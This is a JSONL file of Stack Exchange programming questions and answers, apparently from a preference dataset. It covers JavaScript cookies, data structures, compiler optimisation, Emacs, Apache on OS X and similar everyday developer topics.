{"id": "hf_c68c97a7fbbc", "question": "<p><a href=\"http://stephenwalther.com/blog/archive/2008/07/01/asp-net-mvc-tip-12-faking-the-controller-context.aspx\" rel=\"nofollow noreferrer\">http://stephenwalther.com/blog/archive/2008/07/01/asp-net-mvc-tip-12-faking-the-controller-context.aspx</a></p>\n\n<p>This post shows how to test setting a cookie and then seeing it in ViewData. What I what to do is see if the correct cookies were written (values and name). Any reply, blog post or article will be greatly appreciated.</p>\n", "question_body": "", "answer": "```\n```\nfunction ReadCookie(cookieName) {\n var theCookie=\"\"+document.cookie;\n var ind=theCookie.indexOf(cookieName);\n if (ind==-1 || cookieName==\"\") return \"\"; \n var ind1=theCookie.indexOf(';',ind);\n if (ind1==-1) ind1=theCookie.length; \n return unescape(theCookie.substring(ind+cookieName.length+1,ind1));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.381535"}
{"id": "hf_216af95d10cd", "question": "<p>Suppose we have two stacks and no other temporary variable.</p>\n\n<p>Is to possible to \"construct\" a queue data structure using only the two stacks?</p>\n", "question_body": "", "answer": "The time complexities would be worse, though.  A good queue implementation does everything in constant time.\nEdit\nNot sure why my answer has been downvoted here.  If we program, we care about time complexity, and using two standard stacks to make a queue is inefficient.  It's a very valid and relevant point.  If someone else feels the need to downvote this more, I would be interested to know why.\nA little more detail\n: on why using two stacks is worse than just a queue: if you use two stacks, and someone calls dequeue while the outbox is empty, you need linear time to get to the bottom of the inbox (as you can see in Dave's code).\nYou can implement a queue as a singly-linked list (each element points to the next-inserted element), keeping an extra pointer to the last-inserted element for pushes (or making it a cyclic list).  Implementing queue and dequeue on this data structure is very easy to do in constant time.  That's worst-case constant time, not amortized.  And, as the comments seem to ask for this clarification, worst-case constant time is strictly better than amortized constant time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.404746"}
{"id": "hf_98781e1e3fa2", "question": "<p>In most C or C++ environments, there is a \"debug\" mode and a \"release\" mode compilation.<br>\nLooking at the difference between the two, you find that the debug mode adds the debug symbols (often the -g option on lots of compilers) but it also disables most optimizations.<br>\nIn \"release\" mode, you usually have all sorts of optimizations turned on.<br>\nWhy the difference?</p>\n", "question_body": "", "answer": "Without any optimization on, the flow through your code is linear.  If you are on line 5 and single step, you step to line 6.  With optimization on, you can get instruction re-ordering, loop unrolling and all sorts of optimizations.\nFor example:\n```\n```\nvoid foo() {\n1:  int i;\n2:  for(i = 0; i < 2; )\n3:    i++;\n4:  return;\n```\n```\nIn this example, without optimization, you could single step through the code and hit lines 1, 2, 3, 2, 3, 2, 4\nWith optimization on, you might get an execution path that looks like: 2, 3, 3, 4 or even just 4! (The function does nothing after all...)\nBottom line, debugging code with optimization enabled can be a royal pain! Especially if you have large functions.\nNote that turning on optimization changes the code! In certain environment (safety critical systems), this is unacceptable and the code being debugged has to be the code shipped. Gotta debug with optimization on in that case.\nWhile the optimized and non-optimized code should be \"functionally\" equivalent, under certain circumstances, the behavior will change.\nHere is a simplistic example:\n```\n```\nint* ptr = 0xdeadbeef;  // some address to memory-mapped I/O device\n    *ptr = 0;   // setup hardware device\n    while(*ptr == 1) {    // loop until hardware device is done\n       // do something\n    }\n```\n```\nWith optimization off, this is straightforward, and you kinda know what to expect.\nHowever, if you turn optimization on, a couple of things might happen:\nThe compiler might optimize the while block away (we init to 0, it'll never be 1)\nInstead of accessing memory, pointer access might be moved to a register->No I/O Update\nmemory access might be cached (not necessarily compiler optimization related)\nIn all these cases, the behavior would be drastically different and most likely wrong.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.439855"}
{"id": "hf_4218d0f79b00", "question": "<p>I have an Enumerable array</p>\n\n<pre><code>int meas[] = new double[] {3, 6, 9, 12, 15, 18};\n</code></pre>\n\n<p>On each successive call to the mock's method that I'm testing I want to return a value from that array.</p>\n\n<pre><code>using(_mocks.Record()) {\n  Expect.Call(mocked_class.GetValue()).Return(meas); \n}\nusing(_mocks.Playback()) {\n  foreach(var i in meas)\n    Assert.AreEqual(i, mocked_class.GetValue();    \n}\n</code></pre>\n\n<p>Does anyone have an idea how I can do this?</p>\n", "question_body": "", "answer": "IMHO, yield will handle this.\nLink\n.\nSomething like:\n```\n```\nget_next() {\n  foreach( float x in meas ) {\n    yield x;\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.486602"}
{"id": "hf_10e32c2d531e", "question": "<p>Is it possible to query the Crystal CMS database and get meaningful data back?  The data appears to be encrypted.</p>\n\n<p>I am running Business Objects Crystal Report Server version 11.5</p>\n", "question_body": "", "answer": "I had a similar problem on my workstation at the office.  It sounds like you need to reinstall (that's what worked for me). This is a known bug according BussinessObjects (I had to call them and use our maintenance support).  Hopefully you can find more information by searching for, 'Crystal Business query corruption' instead of calling them if the reinstall doesn't work for you.\nThey told me the data is not encrypted, but occasionally components don't install correctly and the queries come back in a binary form that is all garbled.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.538055"}
{"id": "hf_4d81d136a84e", "question": "<p>What are the biggest pros and cons of <a href=\"http://incubator.apache.org/thrift/\" rel=\"noreferrer\">Apache Thrift</a> vs <a href=\"http://code.google.com/apis/protocolbuffers/\" rel=\"noreferrer\">Google's Protocol Buffers</a>?</p>\n", "question_body": "", "answer": "Protocol Buffers seems to have a more compact representation, but that's only an impression I get from reading the Thrift whitepaper.  In their own words:\nWe decided against some extreme storage optimizations (i.e. packing\n  small integers into ASCII or using a 7-bit continuation format)\n  for the sake of simplicity and clarity in the code. These alterations\n  can easily be made if and when we encounter a performance-critical\n  use case that demands them.\nAlso, it may just be my impression, but Protocol Buffers seems to have some thicker abstractions around struct versioning.  Thrift does have some versioning support, but it takes a bit of effort to make it happen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.562057"}
{"id": "hf_77dd1e0244ce", "question": "<p>What I'm doing is I have a full-screen form, with no title bar, and consequently lacks the minimize/maximize/close buttons found in the upper-right hand corner. I'm wanting to replace that functionality with a keyboard short-cut and a context menu item, but I can't seem to find an event to trigger to minimize the form.</p>\n", "question_body": "", "answer": "```\n```\nFormName.WindowState = FormWindowState.Minimized;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.616208"}
{"id": "hf_742a5c4529a6", "question": "<p>In OS X, in order to quickly get at menu items from the keyboard, I want to be able to type a key combination, have it run a script, and have the script focus the Search field in the Help menu.  It should work just like the key combination for Spotlight, so if I run it again, it should dismiss the menu.  I can run the script with Quicksilver, but how can I write the script?</p>\n", "question_body": "", "answer": "Here is the script I came up with.\n```\n```\ntell application \"System Events\"\n    tell (first process whose frontmost is true)\n        click menu \"Help\" of menu bar 1\n    end tell\nend tell\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.651674"}
{"id": "hf_aeba34cbb4ff", "question": "<p>I'm building an HTML UI with some text elements, such as tab names, which look bad when selected. Unfortunately, it's very easy for a user to double-click a tab name, which selects it by default in many browsers.</p>\n\n<p>I might be able to solve this with a JavaScript trick (I'd like to see those answers, too) -- but I'm really hoping there's something in CSS/HTML directly that works across all browsers.</p>\n", "question_body": "", "answer": "Absolutely position divs over the text area with a z-index higher and give these divs a transparent\nGIF\nbackground graphic.\nNote after a bit more thought - You'd need to have these 'covers' be linked so clicking on them would take you to where the tab was supposed to, which means you could/should do this with the anchor element set to\n```\ndisplay:box\n```\n, width and height set as well as the transparent background image.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.699293"}
{"id": "hf_60e86341bbb2", "question": "<p>I am using VS2008 and Resharper.  Resharper creates a directory _Resharper.ProjectName.  These files provide no value for source control that I am aware of and cause issues when committing changes.  How can I get SVN to ignore them?  I am using TortoiseSVN as my interface for SVN.</p>\n\n<p>EDIT: You guys are fast.</p>\n", "question_body": "", "answer": "SVN only controls what you put into it when creating your repository. Don't just import your entire project folder but import a \"clean\" folder BEFORE doing a build. After the build you get all the object files or your _Resharper folder etc. but they are not version controlled.\nI forgot: the\n```\nsvn:ignore\n```\ncommand is another possibility to tell SVN to exclude certain files. You can add this as a property to the version controlled folders, e.g. with TortoiseSVN.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.757198"}
{"id": "hf_6a865e4354c3", "question": "<p>We have a small embedded system without any video or serial ports (i.e. we can't output text via printf).<br>\nWe would like to track the progress of our code through the initialization sequence.<br>\nIs there some simple things we can do to help with this.<br>\nIt is not running any OS, and the hardware platform is somewhat customizable.</p>\n", "question_body": "", "answer": "There are a few strategies you can employ to help with debugging:\nIf you have Output Pins available, you can hook them up to LEDs (or an oscilloscope) and toggle the output pins high/low to indicate that certain points have been reached in the code.\nFor example, 1 blink might be program loaded, 2 blink is foozbar initialized, 3 blink is accepting inputs...\nIf you have multiple output lines available, you can use a 7 segment LED to convey more information (numbers/letters instead of blinks).\nIf you have the capabilities to read memory and have some RAM available, you can use the sprint function to do printf-like debugging, but instead of going to a screen/serial port, it is written in memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.816712"}
{"id": "hf_07abf5e923aa", "question": "<p>I am curious if anyone have used UnderC, Cint, Cling, Ch, or any other C++ interpreter and could share their experience.</p>\n", "question_body": "", "answer": "Long ago, I used a C++ interpreter called CodeCenter.  It was pretty nice, although it couldn't handle things like bitfields or fancy pointer mangling.  The two cool things about it were that you could watch when variables changed, and that you could evaluate C/C++ code on the fly while debugging.  These days, I think a debugger like GDB is basically just as good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.864992"}
{"id": "hf_a8467b68743f", "question": "<p>I have a multi-frame layout. One of the frames contains a form, which I am submitting through XMLHttpRequest. Now when I use document.write() to rewrite the frame with the form, and the new page I am adding contains any javascript then the javascript is not exectuted in IE6?</p>\n\n<p>For example:</p>\n\n<pre><code>document.write(\"&lt;html&gt;&lt;head&gt;&lt;script&gt;alert(1);&lt;/script&gt;&lt;/head&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;\");\n</code></pre>\n\n<p>In the above case the page content is replaced with test but the alert() isn't executed. This works fine in Firefox.</p>\n\n<p>What is a workaround to the above problem? </p>\n", "question_body": "", "answer": "Workaround is to programmatically add\n```\n<script>\n```\nblocks to head DOM element in JavaScript at Callback function or call eval() method. It's only way you can make this work in IE 6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.888459"}
{"id": "hf_9c97e188b2b4", "question": "<p>I think the best part of flash is the possibility to create not squared user interfaces, so I like the idea to create desktop apps using flash. I know AIR is for that but it doesn't allow real access to OperatingSystem apis and dlls and the commercial options are kind of difficult to customize.</p>\n", "question_body": "", "answer": "You can try ScreenweaverHX:\nhttp://haxe.org/com/libs/swhx\nIt's the Haxe-based successor of the old Screenweaver. However, it's not as simple as the old version used to be. Most likely you need to take a look to the basics of Haxe and Neko, the 2 technologies it's based on.\nThere's another project on top of SWHX that it's called HippoHX. It aims to \"complete\" SWHX providing that extra functionality you might miss (simple ActionScript APIs and a GUI). However, it's in its early stages:\nhttp://hippohx.com\nDISCLAIMER: I'm the owner of HippoHX, so my point is obviously biased.\nAs far as I know SWHX is the only Open Source alternative at this point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.007214"}
{"id": "hf_df14fc6dbc9b", "question": "<p>I am trying to use a stringstream object in VC++ (VStudio 2003) butI am getting an error when I use the overloaded &lt;&lt; operator to try and set some manipulators.  </p>\n\n<p>I am trying the following:  </p>\n\n<pre><code>int SomeInt = 1;  \nstringstream StrStream;  \nStrStream &lt;&lt; std::setw(2) &lt;&lt; SomeInt;  \n</code></pre>\n\n<p>This will not compile (error C2593: 'operator &lt;&lt;' is ambiguous).<br>\nDoes VStudio 2003 support using manipulators in this way?<br>\nI know that I can just set the width directly on the stringstream object e.g. StrStream.width(2);<br>\nI was wondering why the more usual method doesn't work?</p>\n", "question_body": "", "answer": "Are you sure you included all of the right headers? The following compiles for me in VS2003:\n```\n```\n#include <iostream>\n#include <sstream>\n#include <iomanip>\n\nint main()\n{\n   int SomeInt = 1;\n   std::stringstream StrStream;\n   StrStream << std::setw(2) << SomeInt;\n   return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.054513"}
{"id": "hf_ca60e6b3503d", "question": "<pre><code>public static void main(String[] args) {\n\n    List&lt;? extends Object&gt; mylist = new ArrayList&lt;Object&gt;();\n\n    mylist.add(\"Java\"); // compile error\n\n}\n</code></pre>\n\n<p>The above code does not allow you to add elements to the list and wild cards can only be used as a signature in methods, again not for adding but only for accessing.\nIn this case what purpose does the above fulfil ??</p>\n", "question_body": "", "answer": "With java generics using wildcards, you are allowed the above declaration assuming you are only going to read from it.\nYou aren't allowed to add/write to it, because all generic types must be stripped at compile time, and at compile time there isn't a way the compiler knows List are only strings, (it could be any object including strings!)\nYou are however allowed to read from it since they are going to be at least objects.  Mixing different types are not allowed in java collections to keep things clean and understandable, and this helps ensure it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.089360"}
{"id": "hf_3e6021bcf7ce", "question": "<p>I have a dl containing some input boxes that I \"clone\" with a bit of JavaScript like:  </p>\n\n<pre><code>var newBox = document.createElement('dl'); \nvar sourceBox = document.getElementById(oldkey); \nnewBox.innerHTML = sourceBox.innerHTML; \nnewBox.id = newkey;          \ndocument.getElementById('boxes').appendChild(columnBox);   \n</code></pre>\n\n<p>In IE, the form in sourceBox is duplicated in newBox, complete with user-supplied values.  In Firefox, last value entered in the orginal sourceBox is not present in newBox.  How do I make this \"stick?\"</p>\n", "question_body": "", "answer": "You could try the\n```\ncloneNode\n```\nmethod. It might do a better job of copying the contents. It should also be faster in most cases\n```\n```\nvar newBox;\nvar sourceBox = document.getElementById(oldkey);\nif (sourceBox.cloneNode) \n    newBox = sourceBox.cloneNode(true);\nelse {\n    newBox = document.createElement(sourceBox.tagName); \n    newBox.innerHTML = sourceBox.innerHTML; \n}\nnewBox.id = newkey;              \ndocument.getElementById('boxes').appendChild(newBox);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.137704"}
{"id": "hf_b628244892d4", "question": "<p>What are in your opinion big differences between areas of usage for \"Astoria\" (ADO.NET data services) and SQL Server Data Services?</p>\n", "question_body": "", "answer": "They are similiar but very different technologies. Astoria or what is now called at\nMicrosoft ADO.NET Data Services\nis a programming library that will allow data to be passed through RESTful web services.  You develop these web services to be run against data you have access to.  ADO.NET Data Services is now included in the .NET 3.5 SP1 updates.\nSQL Server Data Services\nis a new service provided by Microsoft.  The following is a decription:\n\"SQL Server Data Services (SSDS) are highly scalable, on-demand data\n  storage and query processing utility\n  services. Built on robust SQL Server\n  database and Windows Server\n  technologies, these services provide\n  high availability, security and\n  support standards-based web interfaces\n  for easy programming and quick\n  provisioning.\"\nSQL Server Data Services is very similair to Amazon S3 service.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.161905"}
{"id": "hf_a3b41f80a65e", "question": "<p>I am trying to populate a string with a double value using a <code>sprintf</code> like this:</p>\n\n<pre><code>sprintf(S, \"%f\", val);\n</code></pre>\n\n<p>But the precision is being cut off to six decimal places. I need about 10 decimal places for the precision.</p>\n\n<p>How can that be achieved?</p>\n", "question_body": "", "answer": "What you want is a modifier:\n```\n```\nsprintf(S, \"%.10f\", val);\n```\n```\nman sprintf will have many more details on format specifiers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.209640"}
{"id": "hf_e8443ef4de82", "question": "<p>Another easy one hopefully.</p>\n\n<p>Let's say I have a collection like this:</p>\n\n<pre><code>List&lt;DateTime&gt; allDates;\n</code></pre>\n\n<p>I want to turn that into </p>\n\n<pre><code>List&lt;List&lt;DateTime&gt;&gt; dividedDates;\n</code></pre>\n\n<p>where each List in 'dividedDates' contains all of the dates in 'allDates' that belong to a distinct year.</p>\n\n<p>Is there a bit of LINQ trickery that my tired mind can't pick out right now?</p>\n\n<p><strong>Solution</strong></p>\n\n<p>The Accepted Answer is correct.</p>\n\n<p>Thanks, I don't think I was aware of the 'into' bit of GroupBy and I was trying to use the .GroupBy() sort of methods rather than the SQL like syntax.  And thanks for confirming the ToList() amendment and including it in the Accepted Answer :-)</p>\n", "question_body": "", "answer": "```\n```\nvar q  = from date in allDates \n         group date by date.Year into datesByYear\n         select datesByYear.ToList();\nq.ToList(); //returns List<List<DateTime>>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.232817"}
{"id": "hf_1daf90a9cf11", "question": "<p>Mac OS X ships with apache pre-installed, but the files are in non-standard locations.  This question is a place to collect information about where configuration files live, and how to tweak the apache installation to do things like serve php pages.</p>\n", "question_body": "", "answer": "Apache Config file is: /private/etc/apache2/httpd.conf\nDefault DocumentRoot is: /Library/Webserver/Documents/\nTo enable PHP, at around line 114 (maybe) in the /private/etc/apache2/httpd.conf file is the following line:\n```\n```\n#LoadModule php5_module     libexec/apache2/libphp5.so\n```\n```\nRemove the pound sign to uncomment the line so now it looks like this:\n```\n```\nLoadModule php5_module     libexec/apache2/libphp5.so\n```\n```\nRestart Apache: System Preferences -> Sharing -> Un-check \"Web Sharing\" and re-check it.\nOR\n```\n```\n$ sudo apachectl restart\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.295031"}
{"id": "hf_af03644addfb", "question": "<p>When is it a good idea to use factory methods within an object instead of a Factory class?</p>\n", "question_body": "", "answer": "It's really a matter of taste. Factory classes can be abstracted/interfaced away as necessary, whereas factory methods are lighter weight (and also tend to be testable, since they don't have a defined type, but they will require a well-known registration point, akin to a service locator but for locating factory methods).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.392753"}
{"id": "hf_742930e7319d", "question": "<p>What is the reason browsers do not correctly recognize:</p>\n\n<pre><code>&lt;script src=\"foobar.js\" /&gt; &lt;!-- self-closing script element --&gt;\n</code></pre>\n\n<p>Only this is recognized:</p>\n\n<pre><code>&lt;script src=\"foobar.js\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>Does this break the concept of XHTML support?</p>\n\n<p>Note: This statement is correct at least for all IE (6-8 beta 2).</p>\n", "question_body": "", "answer": "The non-normative appendix ‘HTML Compatibility Guidelines’ of the XHTML 1 specification says:\nС.3. Element Minimization and Empty Element Content\nGiven an empty instance of an element whose content model is not\n```\nEMPTY\n```\n(for example, an empty title or paragraph) do not use the minimized form (e.g. use\n```\n<p> </p>\n```\nand not\n```\n<p />\n```\n).\nXHTML DTD\nspecifies script elements as:\n```\n```\n<!-- script statements, which may include CDATA sections -->\n<!ELEMENT script (#PCDATA)>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.466596"}
{"id": "hf_832b2cef4452", "question": "<p>I have a <a href=\"http://en.wikipedia.org/wiki/JavaServer_Faces\" rel=\"nofollow noreferrer\">JSF</a> application that I am converting over to use webservices instead of straight up database queries. There are some extremely long lists that <em>before</em> could be returned easily with a simple SQL query. I'd like to figured out how implement the paging using JSF/web services. Is there a good design pattern for doing paged web services?</p>\n\n<p>If it matters, I'm currently using the <a href=\"http://en.wikipedia.org/wiki/Apache_MyFaces\" rel=\"nofollow noreferrer\">Apache MyFaces</a> reference implementation of JSF with the Tomahawk extensions (a set of JSF components created by the MyFaces development team prior to its donation to Apache).</p>\n", "question_body": "", "answer": "I like Seam's Query objects:\nhttp://docs.jboss.com/seam/2.1.0.BETA1/reference/en-US/html_single/#d0e7527\nThey basically abstract all the SQL/JPA in a Seam component that JSF can easily use.\nIf you don't want to use Seam and/or JPA you could implement a similar pattern.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.490649"}
{"id": "hf_fc0712c5e63b", "question": "<p>I've been unsuccessful in getting Emacs to switch from 8 space tabs to 4 space tabs when pressing the <kbd>TAB</kbd> in buffers with the major mode <code>text-mode</code>. I've added the following to my <code>.emacs</code>:</p>\n\n<pre><code>(setq-default indent-tabs-mode nil)\n(setq-default tab-width 4)\n\n;;; And I have tried\n(setq indent-tabs-mode nil)\n(setq tab-width 4)\n</code></pre>\n\n<p>No matter how I change my <code>.emacs</code> file (or my buffer's local variables) the <kbd>TAB</kbd> button always does the same thing.</p>\n\n<ol>\n<li>If there is no text above, indent <strong>8</strong> spaces</li>\n<li>If there is text on the previous line, indent to the beginning of the second word</li>\n</ol>\n\n<p>As much as I love Emacs this is getting annoying. Is there a way to make Emacs to at least indent 4 space when there's not text in the previous line?</p>\n", "question_body": "", "answer": "Have you tried\n```\n```\n(setq  tab-width  4)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.590438"}
{"id": "hf_ccdb82a31847", "question": "<p>My university doesn't support the POST cgi method (I know, it's crazy), and I was hoping to be able to have a system where a user can have a username and password and log in securely. Is this even possible?</p>\n\n<p>If it's not, how would you do it with POST? Just out of curiosity.</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "You could use HTTP Authentication, if supported.\nYou'd have to add SSL, as all methods, POST, GET and HTTP Auth (well, except Digest HHTP authentication) send plaintext.\nGET is basically just like POST, it just has a limit on the amount of data you can send which is usually a lot smaller than POST and a semantic difference which makes GET not a good candidate from that point of view, even if technically they both can do it.\nAs for examples, what are you using? There are many choices in Python, like the cgi module or some framework like Django, CherryPy, and so on", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.626168"}
{"id": "hf_c71fc55b79ee", "question": "<p>How do I prevent vim from replacing spaces with tabs when autoindent is on?</p>\n\n<p>An example: if I have two tabs and 7 spaces in the beginning of the line, and <code>tabstop=3</code>, and I press Enter, the next line has four tabs and 1 space in the beginning, but I don't want that...</p>\n", "question_body": "", "answer": "Maybe the bottom of this can help you?\nStandard vi interprets the tab key literally, but there are popular vi-derived alternatives that are smarter, like vim. To get vim to interpret tab as an ``indent'' command instead of an insert-a-tab command, do this:\n```\n```\nset softtabstop=2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.662814"}
{"id": "hf_70c0e4e62f6a", "question": "<p>PL/SQL is not my native tongue. Oracle supports writing stored procedures in Java. What are the advantages of doing this over writing the stored procedures in PL/SQL</p>\n", "question_body": "", "answer": "I have used Oracle emmbedded java for two problems:\n1) To do a PLSQL procedure which bulks the results of a query in a text file and send it over FTP. This file was very large and i use Java to Zip it.\n2) In a client-server aplication with direct connection with the DB, to compare the user sent password to the application (not the DB user password) hashed with MD5, so that the password not travel by the net in plain text. I'm not sure if this was the better solution for this problem, i'm going to ask it now. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.722632"}
{"id": "hf_69693b6c9841", "question": "<p>How can I visually customize autocomplete fields in Wicket (change colors, fonts, etc.)?</p>\n", "question_body": "", "answer": "You can use CSS to modify the look of this component.  For the Ajax auto-complete component in 1.3 the element you want to override is div.wicket-aa, so for example you might do:\n```\n```\ndiv.wicket-aa {\n    background-color:white;\n    border:1px solid #CCCCCC;\n    color:black;\n}\ndiv.wicket-aa ul {\n   list-style-image:none;\n   list-style-position:outside;\n   list-style-type:none;\n   margin:0pt;\n   padding:5px;\n}\ndiv.wicket-aa ul li.selected {\n    background-color:#CCCCCC;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.762350"}
{"id": "hf_f18c8c72a8e8", "question": "<p>I am looking for attributes I can use to ensure the best runtime performance for my .Net application by giving hints to the loader, JIT compiler or ngen.</p>\n\n<p>For example we have <a href=\"http://msdn.microsoft.com/en-us/library/k2wxda47.aspx\" rel=\"noreferrer\">DebuggableAttribute</a> which should be set to not debug and not disable optimization for optimal performance.</p>\n\n<pre><code>[Debuggable(false, false)]\n</code></pre>\n\n<p>Are there any others I should know about?</p>\n", "question_body": "", "answer": "I found another:\nNeutralResourcesLanguageAttribute\n. According to\nthis\nblog post it helps the loader in finding the right satellite assemblies faster by specifying the culture if the current (neutral) assembly.\n```\n```\n[NeutralResourcesLanguageAttribute(\"nl\", UltimateResourceFallbackLocation.MainAssembly)]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:28.858362"}
